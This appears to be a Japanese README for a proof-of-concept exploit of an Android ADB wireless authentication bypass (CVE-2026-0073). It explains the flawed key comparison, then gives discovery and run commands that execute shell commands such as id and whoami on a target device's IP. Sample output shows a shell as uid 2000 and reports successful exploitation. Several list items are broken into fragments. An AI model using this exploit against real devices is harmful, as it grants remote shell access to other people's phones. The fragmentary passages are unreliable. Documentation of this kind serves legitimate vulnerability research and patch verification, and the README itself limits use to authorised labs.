
CVE-2026-0073 - ADBワイヤレス相互認証バイパスPoC
このディレクトリには、CVE-2026-0073 用の Python 概念実証(PoC)が含まれています。
このスクリプトは、AI 支援によるコード生成技術を用いて作成されています。
CVE-2026-0073 は、ADB デーモンの証明書検証(auth.cpp の adbd_tls_verify_cert)における論理的な不具合です。
この脆弱性のある検査は、EVP_PKEY_cmp(...) からのゼロ以外の戻り値をすべて正常な一致として扱います。
期待される比較結果の処理は次のとおりであるべきです:
1 = 鍵が一致0 = 鍵が一致しない脆弱性のあるビルドでは、負の値が真として扱われ、証明書が誤って許可済みと判定される可能性があります。
poc-cve-2026-0073.py が行うことこのスクリプトは次の処理を行います:
ec または ed25519)を作成します。shell:、フォールバックとして exec:)を開きます。cryptography パッケージ依存パッケージのインストール:
pip install cryptography
対象の ADB サービスを検出する場合(必要に応じて):
adb mdns services
PoC を実行:
python3 poc-cve-2026-0073.py <target_ip> [port] [command] [key_type] [--verbose]
引数:
target_ip: 対象 Android デバイスの IP アドレスport: ADB ポート(デフォルト: 5555)command: 実行するコマンド(デフォルト: id)key_type: ec または ed25519(デフォルト: ec)--verbose: プロトコルのデバッグログを有効化例:
python3 poc-cve-2026-0073.py 192.168.1.100 5555 id
python3 poc-cve-2026-0073.py 192.168.1.100 5555 whoami ec --verbose
python3 poc-cve-2026-0073.py 192.168.1.100 5555 getprop ed25519
[*] Opening service: 'shell:id'
[*] After OPEN, received: OKAY arg0=2 data=b''
[+] Stream open (local_id=1, remote_id=2)
[+] Command output:
----------------------------------------
uid=2000(shell) gid=2000(shell) ...
----------------------------------------
[+] Exploitation successful.
Connection refused
certificate_unknown
応答待ちでタイムアウト
--verbose を指定して再試行してください。ベース OS のセキュリティパッチレベルと Mainline モジュールのパッチ状況は異なる場合があります。 デバイスの月次 SPL が古い表示でも、新しい ADB モジュールの修正が適用されている可能性があります。
確認に役立つコマンド:
adb shell getprop ro.build.version.security_patch
adb shell pm list packages --apex-only | grep adbd
adb shell dumpsys package com.google.android.adbd | grep -E "versionCode|versionName|lastUpdateTime"
この PoC は、許可された環境(所有するラボ用デバイス、明示的な許可、または公認されたテスト)でのみ使用してください。 所有していないシステム、または書面によるテスト許可がないシステムに対して実行しないでください。
daemon/auth.cpp)